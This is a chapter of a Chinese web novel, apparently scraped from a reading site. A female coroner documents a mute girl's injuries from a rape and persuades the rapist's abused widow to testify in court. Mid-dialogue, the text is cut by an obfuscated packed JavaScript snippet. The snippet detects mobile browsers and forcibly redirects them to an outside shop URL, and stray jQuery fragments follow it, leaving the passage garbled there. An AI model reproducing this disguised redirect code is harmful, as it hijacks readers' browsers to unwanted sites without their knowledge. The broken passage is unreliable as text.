文趣网 > 其他小说 > 花仵作美食探案录 > 9. 救她
    一个月前,花博明找上了刘大全。

    那日,刘大全正收拾猎具准备上山,院外忽然传来了敲门声。

    他开门一看,来人是一个衣着光鲜,仪表堂堂的年轻男子。

    这人自称是城里澄香楼未来的少东家。

    对方开门见山,说要长期包下刘大全手中的优质山货,开出的价钱比寻常商贩高出不少。

    刘大全性子谨慎,虽对这笔厚报颇为心动,却并未一口应下。

    次日,他特意放下手中的活计进城打听那人的底细。

    彼时正值花家夫妇遇害不久,花琳琅重伤昏迷,市井间便有了不少捕风捉影的传言。

    不少人都传那花家独女怕是活不长了,等她一咽气,花家庞大的产业自然全归花兴贤一家所有。

    如此一来,花博明便是澄香楼乃至整个花家产业名正言顺的少东家。

    刘大全识人有限,几番打听下来,并未探听到他此前的劣行,倒是把坊间的传言当了真。

    加上花博明出手阔绰,言谈间颇有气度,全无纨绔子弟的轻浮,刘大全心中的防备便一点点卸了下来,渐渐将他当成了能照拂自家生计的贵人。

    他无论如何也想不到,自己引上门的,是一只披着人皮的恶狼。

    变故发生在半个月前的一个午后。

    那日刘大全照常上山打猎,临走前还反复叮嘱妹妹关紧院门,切莫给陌生人开门。

    可他刚走不久,花博明便大摇大摆地登门,谎称有要事与刘大全商议,哄骗刘芳开了门。

    门一打开,花博明便原形毕露,强行将其玷污。

    傍晚,刘大全背着猎物归家,一踏进院子便察觉异样。

    往日总会笑着迎出来的妹妹,此刻正蜷缩在床角,面色惨白,衣衫凌乱不堪,脖颈处泛着淤青。

    他心下一紧,连忙上前询问。

    刘芳起初只是拼命摇头,但在兄长一遍遍追问下,终于崩溃大哭,把午后发生的事情写在了纸上。

    得知真相的那一刻,刘大全心如刀绞。

    他恨自己的愚钝,恨自己引狼入室,更恨自己没能守护好唯一的妹妹。

    怒火瞬间将理智淹没,他抄起墙角的斧头,发疯似地要找花博明同归于尽。

    刘芳自幼父母双亡,与兄长相依为命,刘大全是她在这世上唯一的亲人。

    她不愿兄长为自己沦为杀人犯,哭求兄长切莫为了那个畜生搭上一条命。

    看着妹妹哭得几乎厥过去,刘大全的心软了。

    他舍不得妹妹,舍不得留下她孤身一人在世上。

    他忍着恨意答应下来,全当忍一时之辱,日后另作打算。

    然而,花博明的猖狂远超他们的想象。

    次日,花博明竟再次光明正大地找上门来,仿佛昨日的所作所为不过是一件无足轻重的小事。

    彼时刘大全恰好在家,花博明见了他,非但毫无愧疚畏惧,反而出言轻佻,称愿意纳刘芳为妾,并给刘大全一笔丰厚的补偿,言语间尽是居高临下的羞辱。

    刘大全再也按捺不住心中的怒火,当场将他痛打一顿,连推带搡地赶出了村子。

    本以为经此一遭,对方会有所收敛。

    岂料第三日趁刘大全出门打水,花博明又折返回来,还带来了一只绿毛鹦鹉。

    他将鸟笼挂在院墙上,自己则强闯入室,对刘芳说着不堪入耳的下流话,伸手便要言周戏。

    若非邻居张婶正好上门借剪子,后果不堪设想。

    刘芳泪流满面,这段不堪的回忆如梦魇一般日日折磨着她。

    兄长明明与她说好了,等他打到值钱的大货,卖了钱,就带她离开这里,去一个没有人认识他们的地方,重新开始生活。

    为何事情会变成如今这个样子....

    花琳琅拿出随身携带的炭笔与小本子,将刘芳身上的伤势完整记录了下来。

    描摹完毕,她收起工具,动作温柔地替刘芳整理衣衫,“等我好消息。”

    走出刘家小院,花琳琅仰头长长地吐出一口气。

    夕阳金红的余晖洒在她身上,却驱散不掉她周身的冰凉。

    无一早已等候在院外,见她出来,默不作声地上前接过了沉重的勘察箱。

    花琳琅一言不发地走在前面,周身散发着一股拒人千里之外的气息。

    默默跟在一旁的饮羽对她这幅样子有些许好奇。

    这些日子,他暗中跟踪花琳琅,见到的全是她不着调模样,何曾见过她这样凝重的神情?

    他不由得地多打量了她几眼。

    无一一记眼刀扔出,眼神里满是警告。

    饮羽心下一凛,连忙收回视线,目不斜视地在前方领路。

    花琳琅对此毫无所觉,她的脑子里一团乱麻。

    要为刘大全脱罪,必须证明花博明施暴在前。

    可在这个没有DNA比对、没有痕迹检验技术的时代,认定性侵案本就难如登天,况且死无对证,凭空取证更是难上加难。

    回到县衙,章淮已等候多时:“情况如何?”

    “刘芳身上有多处虐打与弓虽暴留下的伤痕。”

    花琳琅没有废话,开门见山地将画满伤势图的小本子摊开在章淮面前,准备逐一说明伤痕的成因与推论。

    章淮低头看去,可只扫了一眼,整个人就像被火烧了一下似的,赶忙将头别向一旁。

    他眼神躲闪,十分窘迫,“你……你一个姑娘家,怎能私自绘制这样的画像!”

    这画工不可谓不细致,简直比避火图还要出格!

    花琳琅见他红得像猴子屁股的脸,摸不着头脑。

    别说,红扑扑的,还怪可爱。

    这有什么,不就是画了画刘芳腰腹上的掌痕吗?

    这里又没有相机,不画下来还能怎么记录?

    花琳琅低头看了看自己画的伤势图,先是一愣,不由干笑两声。

    嘿嘿,翻错页了。

    刚才随手一翻,竟翻到了前几日无聊时画的男女人体结构图。

    不过事已至此,就着这图讲反而更加直观。

    花琳琅全然无视章淮那几乎要冒烟的头顶,清了清嗓子,指着图道:“刘家娘子此处严重撕裂,确系受外力暴力侵入所致,腹部有淤青,留有模糊的掌痕。”

    她顺势往后翻了几页:“伤痕的尺寸我已经量取。虽然几日过去有所消退,但依然能大致推断出施暴者手掌的轮廓。”

    可惜花博明的手被砍掉了,不然对一对,就明了了。

    花琳琅指了指底部的一张牙齿咬合图:“刘娘子当时情急之下咬了他一口,她这颗门齿有轻微歪斜。只要能验明花博明遗体上的齿痕,再进行比对,便能佐证一二。”

    但且不说尸体上有没有留下痕迹,门牙歪斜的人不在少数,这并不是什么强有力的证据。

    章淮起初还有些窘迫,可随着花琳琅的讲解,他脸上的绯色渐渐褪去。

    他顺着花琳琅的思路,仔细端详小本子上的画像和记录。

    四下只有她冷静清晰的分析声,章淮看着她专注侧脸,鼻尖萦绕着淡淡的清茶香气,不觉有些入神。

    “咳。”一旁的无一适时发出一声轻咳。

    章淮有些慌乱地收回目光。

    “这就是我收集的所有信息。”花琳琅啪的一声合上本子,抬眼看他,“大人以为如何?”

    猝不及防对上她的视线,章淮掩饰性地清了清嗓子:“你所言句句有理,但花博明如今已死,死无对证。罗氏未必知晓此事,即便知晓,也未必愿意出堂指认亡夫。仅凭刘芳的一面之词,很难在公堂上定罪。”

    “哎!”花琳琅重重地叹了口气,揉了揉发胀的太阳穴,“问题就在这里!”

    忽然,她揉拭的手指一顿,一把抓起桌上的本子,拍了拍无一:“走!”

    她忽然想起,花博明的家世虽说不算太差,但也就是个靠着亲戚挣点钱的暴发户。

    而罗氏的父亲却是一位正儿八经的秀才。

    按常理,罗父就算再贪财,也不至于把女儿嫁给花博明这种无德纨绔。

    几年前,花父曾在家中大骂花博明猪狗不如,毁人清白。

    随后又骂一个秀才,书都读到狗肚子里去了,枉为人父,竟然把自己的女儿嫁给玷污她的畜生。

    当时原主年纪尚小,听得也不完整,便没把这事放在心上。

    可如今想来,那个被花博明玷污,又嫁给他的女子,恐怕就是罗氏。

    若猜想属实,罗氏不仅是花博明恶行的另一个被害者,更是有可能是唯一能为刘芳作证的人证。

    夜色微凉。

    罗氏独自坐在桌前,一身素服,愣愣地看着忽明忽暗的烛火。

    忽地,窗外刮进一阵风,烛火剧烈摇晃了几下,差点熄灭。

    罗氏抬头,只见一道身穿夜行衣,蒙着面罩的身影悄无声息地从窗台上溜了进来。

    恐惧席卷全身,罗氏张口便要呼救。

    不等她发出声音,黑衣人便手忙脚乱地关上窗。

    一只手死死地捂住了她的嘴,另一只手,按住了她想要挣扎的肩膀。

    “别叫。”黑衣人压低声音,恶狠狠的威胁她:“你要是敢叫人,我现在就把你打晕,丢掉!”

    屋外的墙角下,无一听着里面的动静,无奈望天。

    不能再让少主话看本子了,一天天的,脑子里装的都是些什么乱七八糟的东西。

    罗氏吓得浑身发抖,为了保命,连连点头示意自己绝不声张。

    花琳琅见她吓得不轻,立刻松开手,扯下了面罩:“是我。”

    看到花琳琅那张脸的瞬间,罗氏愣住了。

    她实在想不透,这个平日里并不熟络的小姑子,为何会深夜穿成这样潜入自己的房间。

    花琳琅环顾了一圈布置素雅的房间,走到软榻旁坐下,自顾自倒了一杯茶,反客为主道:“坐吧,我今晚找你,有件要紧事。”

    罗氏依旧有些害怕。

    “罗伊伊?”花琳琅又倒了一杯茶递过去,轻声唤出了她的本名。

    听到这个名字,罗氏的睫毛轻轻地颤了颤。已经记不清有多少年,没人这样温和地称呼过她的名字了。

    花琳琅没有错过她脸上的细微表情,“我不叫你堂嫂了。反正你当初根本不是自愿嫁给花博明的。”

    罗氏手猛地一抖,茶水泼了大半,濡湿了袖口,她却浑然不觉。

    她慌乱地避开花琳琅的视线,声音微弱如蚊:“婚姻大事……自然是父母之命,媒妁之言。”

    “放你爹的狗屁!”

    花琳琅一拍桌案,清脆的声响震得茶盏直跳:“

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916600|213347||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    你爹和花博明都是狗贼!一个为了钱财权势把女儿往火坑里推,一个披着人皮干着猪狗不如的畜生事!他们没一个是个东西!”

    罗伊伊被这突如其来的愤怒惊得抬起头。

    昏黄的烛火下,眼前这个在公爹口中顽劣不堪的小娘子,此刻却因为满腔的愤慨而涨红了脸,眼底全是毫不掩饰的心疼。

    这一刻,罗伊伊的心乱了。

    她明白了,花琳琅全知道了。

    知道了她的屈辱,知道了这段荒谬婚事背后所有的不堪。

    她下意识地想从花琳琅脸上寻找世俗常见的鄙夷与厌恶。

    没有,一丝一毫也没有。

    花琳琅看她的眼神,与她父亲看她时完全不同。

    花琳琅缓了缓,“你知道花博明弓虽暴刘家娘子的事吗?”

    罗伊伊紧紧咬着下唇,痛苦地闭上了双眼。

    她知道,她怎么会不知道?

    那天花博明归家,脖颈上带着鲜红的齿痕。

    他当着她的面,用一种让她恶心至极,得意洋洋的口吻炫耀着自己的恶行。

    花琳琅看着她:“刘家娘子不堪受辱,上吊了。”

    “什么?!”罗伊伊猛地抬头“她……她死了?”

    “救下来了。”花琳琅摇头。

    罗伊伊舒了一口气,紧绷的肩膀垮了下来,随即却浮现出一抹自嘲的苦笑:“死了也好……这样受折磨地活着,有什么意思?不如一死了之,彻底解脱。”

    花琳琅的心一沉,伸手紧紧握住了她冰凉的手掌,“死了有什么意思?死了,能让伤害你的畜生付出代价吗?死了,就真的能解脱吗?”

    罗伊伊怔住,茫然地看着她。

    死了有什么意思?

    这个问题,她从未想过。

    在无数个夜晚里,她曾千百次想要一死百了。

    即便活着,她也已经失去了所有可能,她永远是肮脏的,罪恶的。

    “你没有错,伊伊。”花琳琅轻轻拍着她的手背,“这一切都不是你的错!错的是花博明,是你那个卖女求荣的爹!你没有任何错!”

    “我……没有错?”罗伊伊失神地喃喃重复着。

    眼泪终于冲破防线,滂沱而出。

    当年事发之后,她哭着寻求父亲的庇护,但父亲却骂她败坏门风,有辱门楣,将她关了禁闭。

    几日后,父亲给她买了一直想要的头面。

    父亲说,他给她说了门好亲事,让她安心待嫁便是。

    她浑浑噩噩地上了花轿。

    当洞房花烛夜盖头被揭开的那一刻,看着那张恶鬼般的面孔,她的心便已经死了。

    此后的无数个日夜,她都在重复着那日的痛苦。

    成婚后,花博明稍有不顺便对她拳脚相向。

    她不死心地向娘家求助过,但父亲却说,如此便是她最好的归宿,让她知足。

    所有人都说,这是她的错。

    她是不是真的错了?

    是不是那一天她不该贪玩出门?

    是不是她不该穿那件鲜艳的红裙?

    渐渐的,她不再哭,不再反抗。

    她想,等到扛不住的那天,她就彻底解脱了。

    从来没有人告诉她,这一切不是她的错。

    多年积压的恐惧、绝望、委屈与不甘,在这一刻爆发。

    罗伊伊再也无法伪装坚强,趴在桌上放声大哭,几欲晕厥,仿佛要把这些年所受的所有委屈都哭出来。

    花琳琅没有说话,只是默默陪在她身边,轻轻拍着她的后背,给予她迟到了数年的支撑。

    不知过了多久,罗伊伊的哭声渐渐停歇。

    她抬起红肿如核桃般的双眼,擦干泪水。

    “那天他回来,我替他更衣时,瞧见他肩膀上有一道很深的齿痕,还在渗血,我便多看了两眼。”

    “他说,那是个和我当年一般大的小娘子,性子烈得很。他还嘲笑那姑娘的兄长是个蠢货,只要给点小恩小惠就能玩弄于股掌之间。”

    “那姑娘是个哑巴,花博明以为吃了哑巴亏不敢声张,便打算日后继续寻乐,等玩腻了再收为贱妾,显摆他的大度……”

    她的声音颤抖得愈发厉害。

    “后来有一日,花博明被那兄长狠狠打了一顿赶出来。他回府后发了大火,把我也打了一顿……”

    提及那日,罗伊伊在炎炎夏日里,硬是出了一身冷汗。

    花琳琅掏出自己的手帕,轻轻替她擦了擦脸上的泪痕与冷汗,“你愿意到公堂上,为刘家娘子作证吗?”

    罗伊伊有些失神地反问:“那位小娘子……竟真的敢报案么?”

    上公堂便意味着要承受千夫所指,那姑娘怎会有如此勇气?

    花琳琅点了点头,“她愿意。只要能揭露花博明的罪行,保住她兄长的一条命,她什么都不怕。”

    “她真勇敢……”罗伊伊眼中流露出掩饰不住的羡慕。

    她羡慕刘芳有一个拼死护她的兄长,更羡慕她还有重新开始的机会。

    而她却只能被困在这里,日复一日地熬着。

    花琳琅:“你也很勇敢,你靠自己活下来了。”

    良久。

    罗伊伊缓缓抬起头,“好,我答应你。”

    为她作证,救她,亦救那个深陷泥沼的我。